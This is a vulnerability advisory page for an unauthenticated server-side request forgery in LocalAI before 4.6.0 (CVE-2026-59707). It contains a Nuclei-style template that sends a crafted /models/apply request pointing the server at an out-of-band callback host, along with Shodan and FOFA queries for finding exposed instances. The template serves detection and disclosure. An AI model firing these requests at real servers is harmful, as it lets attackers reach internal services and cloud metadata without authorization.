CVE-2026-59707: LocalAI < 4.6.0 - Server-Side Request Forgery

2026-11-09 PoC Public

Description

LocalAI before 4.6.0 is affected by an unauthenticated server-side request forgery vulnerability in the POST /models/apply endpoint. The gallery `url` field is passed to the gallery config fetcher without validation, allowing an unauthenticated attacker to make the server issue HTTP requests to arbitrary internal, loopback, link-local, and cloud-metadata addresses. The outcome of the server-side fetch is reflected in the model-apply job status.

Details

CVE
CVE-2026-59707 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-59707

info:
  name: LocalAI < 4.6.0 - Server-Side Request Forgery
  author: ashish-cybersec
  severity: critical
  description: |
    LocalAI before 4.6.0 is affected by an unauthenticated server-side request forgery vulnerability in the POST /models/apply endpoint. The gallery `url` field is passed to the gallery config fetcher without validation, allowing an unauthenticated attacker to make the server issue HTTP requests to arbitrary internal, loopback, link-local, and cloud-metadata addresses. The outcome of the server-side fetch is reflected in the model-apply job status.
  impact: |
    An unauthenticated attacker can reach internal-only services and cloud metadata endpoints through the server, with partial responses leaked via job error messages.
  remediation: |
    Upgrade to LocalAI 4.6.0 or later, which validates gallery config URLs and rejects requests to internal network addresses.
  reference:
    - https://github.com/mudler/LocalAI/issues/10665
    - https://github.com/mudler/LocalAI/commit/2cbb3c96b34d
    - https://nvd.nist.gov/vuln/detail/CVE-2026-59707
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 9.3
    cve-id: CVE-2026-59707
    epss-score: 0.01383
    epss-percentile: 0.72358
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: mudler
    product: localai
    shodan-query: http.favicon.hash:-976853304
    fofa-query: icon_hash="-976853304"
  tags: cve,cve2026,localai,ssrf,mudler

http:
  - raw:
      - |
        POST /models/apply HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"url":"http://{{interactsh-url}}/{{rand_text_alpha(6)}}.yaml"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"uuid":"'
          - 'status":'
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: jobid
        part: body
        group: 1
        regex:
          - '"uuid":"([a-f0-9-]+)"'
        internal: true
# digest: 4a0a004730450220691f51e9d217fd22015e15870a1ee1f05f60d6063a962589a614f834d1979ac9022100e79231ea22d540e05241f12a7183abda0fe9107e419048f4f062c3364ef2975c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life